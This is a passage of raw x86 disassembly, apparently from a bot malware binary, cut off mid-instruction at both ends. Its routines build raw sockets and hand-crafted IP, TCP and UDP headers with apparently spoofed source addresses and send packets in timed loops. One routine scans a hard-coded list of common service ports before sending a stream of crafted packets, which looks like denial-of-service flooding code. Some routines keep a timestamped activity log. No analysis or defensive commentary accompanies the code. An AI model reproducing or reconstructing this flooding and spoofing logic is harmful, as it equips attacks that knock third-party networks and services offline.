[ebp+var_10], eax push eax lea eax, [ebp+var_64] push 0 push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_64] push eax push [ebp+arg_0] call ds:dword_4E2F6C ; getsockname push 0FFh push 1 call sub_419313 push eax movzx eax, [ebp+var_5E] push eax movzx eax, [ebp+var_5F] push eax movzx eax, [ebp+var_60] push eax lea eax, [ebp+var_C8] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax call sub_41EA60 add esp, 20h jmp short loc_414E04 ; --------------------------------------------------------------------------- loc_414DF1: ; CODE XREF: sub_414D19+7Ej lea eax, [ebp+var_C8] push offset dword_4E6150 push eax call sub_41F620 pop ecx pop ecx loc_414E04: ; CODE XREF: sub_414D19+D6j lea eax, [ebp+var_C8] push eax call ds:dword_4E3008 ; inet_addr mov edi, eax mov eax, [ebp+var_54] and al, 45h push esi or al, 45h mov [ebp+var_50], 10h mov [ebp+var_54], eax call ds:dword_4E2FC8 ; htons mov [ebp+var_4E], ax call sub_41EB70 and [ebp+var_46], 0 mov [ebp+var_4C], ax mov eax, [ebp+arg_194] loc_414E40: ; DATA XREF: _2:0045474Co mov [ebp+var_4A], 40h mov [ebp+var_48], 40h mov [ebp+var_47], 6 mov [ebp+var_44], edi mov [ebp+var_40], eax call sub_41EB70 mov [ebp+var_3C], ax call sub_41EB70 mov [ebp+var_3A], ax call sub_41EB70 mov [ebp+var_38], eax call sub_41EB70 mov [ebp+var_34], eax mov eax, [ebp+var_30] and al, 50h mov edi, [ebp+var_40] or al, 50h and [ebp+var_2A], 0 and [ebp+var_28], 0 mov word ptr [ebp+var_30], ax mov ax, [ebp+var_3A] push 14h mov [ebp+var_72], ax lea eax, [ebp+var_54] push eax mov byte ptr [ebp+var_30+2], 18h mov [ebp+var_2C], 787Dh mov [ebp+var_74], 2 mov [ebp+var_70], edi call sub_414C10 and [ebp+var_A0], 0 pop ecx pop ecx mov [ebp+var_46], ax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], edi mov [ebp+var_9F], 6 call ds:dword_4F552C ; htons mov [ebp+var_9E], ax lea eax, [ebp+var_9C] push 14h push eax lea eax, [ebp+var_3C] push eax call sub_41FBF0 lea eax, [ebp+var_88] push ebx push eax lea eax, [ebp+var_24] push eax call sub_41FBF0 lea eax, [ebp+var_A8] push 598h push eax call sub_414C10 add esp, 20h mov [ebp+var_2A], ax lea eax, [ebp+var_74] push 10h push eax push 0 push esi lea eax, [ebp+var_54] push eax push [ebp+var_8] call ds:dword_4E302C ; sendto inc [ebp+var_4] jmp loc_414D72 ; --------------------------------------------------------------------------- loc_414F42: ; CODE XREF: sub_414D19+71j push [ebp+var_8] call ds:dword_4E3060 ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414D19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F53 proc near ; DATA XREF: sub_401C87+4D47o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_414FC9 push eax lea eax, [ebp+var_414] push offset unk_44CF40 push eax call sub_41EA60 add esp, 220h lea eax, [ebp+var_414] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_414F53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FC9 proc near ; CODE XREF: sub_414F53+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call ds:dword_4E3048 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_415007 lea eax, [ebp+var_254] push offset unk_44CF80 push eax call sub_41EA60 pop ecx xor edi, edi pop ecx jmp loc_4152CD ; --------------------------------------------------------------------------- loc_415007: ; CODE XREF: sub_414FC9+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_415033 call ds:dword_4E2F5C ; WSAGetLastError push eax push offset unk_44CFB0 jmp short loc_41504E ; --------------------------------------------------------------------------- loc_415033: ; CODE XREF: sub_414FC9+5Aj lea eax, [ebp+arg_4] push eax call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_415062 call ds:dword_4E2F5C ; WSAGetLastError push eax push offset unk_44D000 loc_41504E: ; CODE XREF: sub_414FC9+68j lea eax, [ebp+var_254] push eax call sub_41EA60 add esp, 0Ch jmp loc_4152CD ; --------------------------------------------------------------------------- loc_415062: ; CODE XREF: sub_414FC9+77j push edi mov [ebp+var_24], 2 call ds:dword_4E2FC8 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_4F5528 ; inet_addr mov esi, ds:dword_4F537C mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44D044 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_4150CB push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409C75 add esp, 14h loc_4150CB: ; CODE XREF: sub_414FC9+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41E710 cmp esi, eax pop ecx ja loc_415284 mov esi, 41Ch jmp short loc_4150FF ; --------------------------------------------------------------------------- loc_4150FA: ; CODE XREF: sub_414FC9+2B5j mov ebx, 0FFh loc_4150FF: ; CODE XREF: sub_414FC9+12Fj cmp ds:dword_4E676C, edi jnz short loc_415157 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call ds:dword_4E2F6C ; getsockname push ebx push 1 call sub_419313 push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D_2 ; "%d.%d.%d.%d" push eax call sub_41EA60 add esp, 20h jmp short loc_415167 ; --------------------------------------------------------------------------- loc_415157: ; CODE XREF: sub_414FC9+13Cj lea eax, [ebp+var_54] push offset dword_4E6150 push eax call sub_41F620 pop ecx pop ecx loc_415167: ; CODE XREF: sub_414FC9+18Cj push esi mov ds:byte_4E6350, 45h call ds:dword_4E2FC8 ; htons mov ds:word_4E6352, ax lea eax, [ebp+var_54] push eax mov ds:word_4E6354, 1 mov ds:word_4E6356, di mov ds:byte_4E6358, 80h mov ds:byte_4E6359, 11h mov ds:word_4E635A, di call ds:dword_4E3008 ; inet_addr mov ds:dword_4E635C, eax mov eax, [ebp+var_20] mov ds:dword_4E6360, eax lea eax, [ebp+arg_84] push eax mov ds:word_4E636A, di call sub_41E710 test eax, eax pop ecx jnz short loc_4151DF call sub_41EB70 cdq mov ecx, 401h idiv ecx push edx jmp short loc_4151ED ; --------------------------------------------------------------------------- loc_4151DF: ; CODE XREF: sub_414FC9+204j lea eax, [ebp+arg_84] push eax call sub_41E710 pop ecx push eax loc_4151ED: ; CODE XREF: sub_414FC9+214j call ds:dword_4E2FC8 ; htons mov ds:word_4E6366, ax call sub_41EB70 cdq mov ecx, 401h push 408h idiv ecx mov ds:word_4E6364, dx call ds:dword_4E2FC8 ; htons push 400h mov ds:word_4E6368, ax call sub_41EB70 cdq idiv ebx push edx push offset dword_4E636C call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4E6350 loc_415246: ; DATA XREF: _2:00454618o _2:00454620o push [ebp+var_C] call ds:dword_4E302C ; sendto cmp eax, 0FFFFFFFFh jz loc_4152FC inc [ebp+var_4] call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41E710 cmp ebx, eax pop ecx jbe loc_4150FA loc_415284: ; CODE XREF: sub_414FC9+124j push [ebp+var_C] call ds:dword_4E3060 ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41E710 mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44D080 push eax call sub_41EA60 add esp, 1Ch loc_4152CD: ; CODE XREF: sub_414FC9+39j ; sub_414FC9+94j ... cmp [ebp+arg_20C], edi jnz short loc_4152F5 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409C75 add esp, 14h loc_4152F5: ; CODE XREF: sub_414FC9+30Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4152FC: ; CODE XREF: sub_414FC9+289j push [ebp+var_4] push esi call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44D0E8 push eax call sub_41EA60 add esp, 18h jmp short loc_4152CD sub_414FC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415321 proc near ; DATA XREF: sub_401C87+640Eo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd loc_41533E: ; DATA XREF: _2:00454880o mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41E710 pop ecx loc_415355: ; DATA XREF: _2:00454A6Co push eax lea eax, [ebp+var_190] push eax call sub_41E710 pop ecx push eax lea eax, [ebp+var_210] push eax call ds:dword_4E3008 ; inet_addr push eax call sub_4154BB push eax lea eax, [ebp+var_414] push offset unk_44D174 push eax call sub_41EA60 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4153B3 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409C75 add esp, 14h loc_4153B3: ; CODE XREF: sub_415321+70j lea eax, [ebp+var_414] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_415321 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153D2 proc near ; CODE XREF: sub_4154BB+18Cp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_4153FB push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4F5530 ; connect jmp loc_4154B7 ; --------------------------------------------------------------------------- loc_4153FB: ; CODE XREF: sub_4153D2+13j mov esi, [ebp+arg_0] lea eax, [ebp+var_8] xor edi, edi push eax inc edi push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4F5514 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4E2F70 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call ds:dword_4E2FB0 ; select test eax, eax jnz short loc_41545F or eax, 0FFFFFFFFh jmp short loc_4154B7 ; --------------------------------------------------------------------------- loc_41545F: ; CODE XREF: sub_4153D2+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41546A loc_415466: ; CODE XREF: sub_4153D2+B8j ; sub_4153D2+DCj mov eax, edi jmp short loc_4154B7 ; --------------------------------------------------------------------------- loc_41546A: ; CODE XREF: sub_4153D2+92j lea eax, [ebp+var_10C] push eax push esi call sub_43A942 ; __WSAFDIsSet test eax, eax jnz short loc_41548C lea eax, [ebp+var_210] push eax push esi call sub_43A942 ; __WSAFDIsSet test eax, eax jz short loc_415466 loc_41548C: ; CODE XREF: sub_4153D2+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4F54FC ; getsockopt cmp eax, edi jz short loc_415466 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4154B7: ; CODE XREF: sub_4153D2+24j ; sub_4153D2+8Bj ... pop edi pop esi leave retn sub_4153D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154BB proc near ; CODE XREF: sub_415321+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], esi call ds:dword_4F5524 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov ds:dword_4E67D0, eax call ds:dword_4E2FA8 ; setsockopt call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_C], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_4155FF: ; CODE XREF: sub_4154BB+1B9j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, [edi] push eax call ds:dword_4E2FC8 ; htons push ebx push esi push 2 mov [ebp+var_9A], ax call ds:dword_4E3048 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_8], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_4153D2 add esp, 10h mov [ebp+var_10], eax push [ebp+var_8] call ds:dword_4E3060 ; closesocket cmp [ebp+var_10], ebx jnz short loc_41566C mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_41566C: ; CODE XREF: sub_4154BB+1A3j add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_4155FF mov esi, offset dword_4E67D8 push offset asc_44D1A0 ; " " push esi call sub_41EA60 mov edi, ds:dword_4F537C pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_8], eax mov [ebp+var_4], ebx loc_415696: ; CODE XREF: sub_4154BB+232j call edi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4156EF mov eax, [ebp+var_4] mov eax, [ebp+eax*4+var_10C] cmp eax, ebx jz short loc_4156CC push eax push esi push offset aSD_2 ; "%s%d " push esi mov [ebp+var_C], eax call sub_41EA60 add esp, 10h jmp short loc_4156E6 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4154BB+1FAj push 0FFFFh push ebx call sub_419313 pop ecx pop ecx push eax call ds:dword_4E2FC8 ; htons movzx eax, ax mov [ebp+var_C], eax loc_4156E6: ; CODE XREF: sub_4154BB+20Fj inc [ebp+var_4] cmp [ebp+var_4], 1Ch jl short loc_415696 loc_4156EF: ; CODE XREF: sub_4154BB+1ECj ; sub_4154BB+45Cj push 28h push ebx push offset byte_4E6774 call sub_41E4B0 mov esi, 0FFFFh mov ds:byte_4E6774, 45h push esi push 400h mov ds:byte_4E677D, 6 mov ds:byte_4E6775, 8 call sub_419313 add esp, 14h push eax call ds:dword_4E2FC8 ; htons push 28h mov ds:word_4E6778, ax call ds:dword_4E2FC8 ; htons or ds:byte_4E677C, 0FFh cmp ds:dword_4E676C, ebx mov ds:word_4E6776, ax mov ds:word_4E677A, bx jnz short loc_415760 push [ebp+arg_0] call sub_415926 pop ecx jmp short loc_41576B ; --------------------------------------------------------------------------- loc_415760: ; CODE XREF: sub_4154BB+298j push offset dword_4E6150 call ds:dword_4E3008 ; inet_addr loc_41576B: ; CODE XREF: sub_4154BB+2A3j mov ds:dword_4E6780, eax mov eax, [ebp+arg_0] push 4000h mov ds:dword_4E6784, eax mov ds:byte_4E6795, bl call ds:dword_4E2FC8 ; htons push esi push ebx mov ds:word_4E6796, ax call sub_419313 mov edi, eax push esi push ebx shl edi, 8 call sub_419313 add esp, 10h add edi, eax push edi call ds:dword_4E2FC4 ; htonl mov ds:dword_4E678C, eax mov al, ds:byte_4E6794 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov ds:byte_4E6794, al mov ax, word ptr [ebp+var_C] mov ds:dword_4E6790, ebx mov ds:word_4E679A, bx mov ds:word_4E678A, ax mov ds:dword_4E67B0, edi mov ds:byte_4E67B4, bl mov ds:byte_4E67B5, 6 call ds:dword_4E2FC8 ; htons mov ds:word_4E67B6, ax mov ax, ds:word_4E678A mov ds:word_4E679C, 2 mov ds:dword_4E67A0, edi mov ds:word_4E679E, ax mov [ebp+var_4], ebx jmp short loc_415821 ; --------------------------------------------------------------------------- loc_41581C: ; CODE XREF: sub_4154BB+436j mov esi, 0FFFFh loc_415821: ; CODE XREF: sub_4154BB+35Fj cmp [ebp+var_4], ebx push esi push ebx jnz short loc_415855 call sub_419313 pop ecx pop ecx push eax call ds:dword_4E2FC8 ; htons mov ds:word_4E6788, ax mov eax, ds:dword_4E6780 mov ds:dword_4E67AC, eax mov ds:byte_4E6795, 2 mov ds:dword_4E6790, ebx jmp short loc_415872 ; --------------------------------------------------------------------------- loc_415855: ; CODE XREF: sub_4154BB+36Bj mov ds:byte_4E6795, 10h call sub_419313 pop ecx pop ecx push eax call ds:dword_4E2FC8 ; htons movzx eax, ax mov ds:dword_4E6790, eax loc_415872: ; CODE XREF: sub_4154BB+398j inc ds:word_4E6778 inc ds:dword_4E678C mov ax, ds:word_4E678A push 5 pop ecx mov esi, offset word_4E6788 mov edi, offset dword_4E67B8 mov ds:word_4E677E, bx mov ds:word_4E6798, bx push 14h rep movsd mov esi, offset byte_4E6774 mov ds:word_4E679E, ax push esi call sub_40AF06 push 20h push offset dword_4E67AC mov ds:word_4E677E, ax call sub_40AF06 add esp, 10h mov ds:word_4E6798, ax push 10h push offset word_4E679C push ebx push 28h push esi push ds:dword_4E67D0 call ds:dword_4E302C ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_41581C call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_41591C push [ebp+arg_8] call ds:dword_4F534C ; Sleep jmp loc_4156EF ; --------------------------------------------------------------------------- loc_41591C: ; CODE XREF: sub_4154BB+451j pop edi pop esi mov eax, offset dword_4E67D8 pop ebx leave retn sub_4154BB endp ; =============== S U B R O U T I N E ======================================= sub_415926 proc near ; CODE XREF: sub_4154BB+29Dp arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_419313 pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_415926 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415944 proc near ; CODE XREF: sub_401C87+7269p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_455180 mov edi, 0B8h loc_415958: ; CODE XREF: sub_415944+33j cmp byte ptr [esi], 0 jz short loc_41597B push [ebp+arg_0] push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_41597B inc [ebp+var_4] add esi, edi cmp esi, offset dword_455D00 jl short loc_415958 jmp short loc_4159BD ; --------------------------------------------------------------------------- loc_41597B: ; CODE XREF: sub_415944+17j ; sub_415944+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_455180[esi] push ebx call sub_41E4B0 push 17h push [ebp+arg_0] push ebx call sub_41E510 push 9Fh lea eax, dword_455198[esi] push [ebp+arg_4] push eax call sub_41E510 add esp, 24h inc ds:dword_43FA40 pop ebx loc_4159BD: ; CODE XREF: sub_415944+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415944 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159C4 proc near ; CODE XREF: sub_401C87+289Dp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_44D1AC push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h xor edi, edi mov esi, offset dword_455180 loc_4159EE: ; CODE XREF: sub_4159C4+72j cmp byte ptr [esi], 0 jz short loc_415A29 lea eax, [esi+18h] push eax push esi push edi push offset dword_44D1C0 lea eax, [ebp+var_200] push 200h push eax call sub_41EC30 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 2Ch loc_415A29: ; CODE XREF: sub_4159C4+2Dj add esi, 0B8h inc edi cmp esi, offset dword_455D00 jl short loc_4159EE pop edi pop esi leave retn sub_4159C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A3C proc near ; CODE XREF: sub_401404+372p ; sub_401404+3F3p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_4F5404 ; GetLocalTime mov ebx, offset dword_4EABD8 mov edi, 80h mov esi, offset dword_4E6BD8 loc_415A5E: ; CODE XREF: sub_415A3C+3Dj cmp byte ptr [ebx], 0 jz short loc_415A75 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41E510 add esp, 0Ch loc_415A75: ; CODE XREF: sub_415A3C+25j sub ebx, edi cmp ebx, esi jge short loc_415A5E movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41EC30 add esp, 28h pop edi pop esi pop ebx leave retn sub_415A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AB0 proc near ; CODE XREF: sub_4019A5+F7p ; sub_401C87:loc_40220Dp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41F9C0 lea eax, [ebp+var_80] push eax call sub_415A3C add esp, 14h leave retn sub_415AB0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_415B0B push ebx push dword ptr [ebp+10h] push offset dword_44D1F8 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409C75 add esp, 14h loc_415B0B: ; CODE XREF: _0:00415AF2j cmp [ebp+18h], ebx jz short loc_415B23 push dword ptr [ebp+18h] call sub_41E710 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_415B23 mov [ebp-8], eax loc_415B23: ; CODE XREF: _0:00415B0Ej _0:00415B1Ej mov [ebp+14h], ebx mov esi, offset dword_4E6BD8 loc_415B2B: ; CODE XREF: _0:00415B73j mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_415B75 cmp [esi], bl jz short loc_415B64 cmp [ebp+18h], ebx jz short loc_415B50 cmp [ebp-4], ebx jnz short loc_415B50 push dword ptr [ebp+18h] push esi call sub_418B5C pop ecx test eax, eax pop ecx jz short loc_415B64 loc_415B50: ; CODE XREF: _0:00415B3Aj _0:00415B3Fj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409C75 add esp, 14h loc_415B64: ; CODE XREF: _0:00415B35j _0:00415B4Ej inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_4EABD8 jl short loc_415B2B loc_415B75: ; CODE XREF: _0:00415B31j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_415B79 proc near ; CODE XREF: sub_401C87+2798p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4E6BD8 xor ecx, ecx loc_415B80: ; CODE XREF: sub_415B79+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4EABD8 jl short loc_415B80 cmp [esp+arg_C], ecx jnz short loc_415BAE push ecx push [esp+4+arg_8] push offset dword_44D204 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409C75 add esp, 14h loc_415BAE: ; CODE XREF: sub_415B79+19j push offset dword_44D218 call sub_415A3C pop ecx retn sub_415B79 endp ; --------------------------------------------------------------------------- push esi mov esi, offset dword_4E6BD8 loc_415BC0: ; CODE XREF: _0:00415BE1j cmp byte ptr [esi], 0 jz short loc_415BD5 push dword ptr [esp+8] push esi call sub_418B5C pop ecx test eax, eax pop ecx jnz short loc_415BE7 loc_415BD5: ; CODE XREF: _0:00415BC3j add esi, 80h cmp esi, offset dword_4EABD8 jl short loc_415BC0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415BE7: ; CODE XREF: _0:00415BD3j xor eax, eax pop esi inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BEC proc near ; DATA XREF: sub_401C87+2848o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub 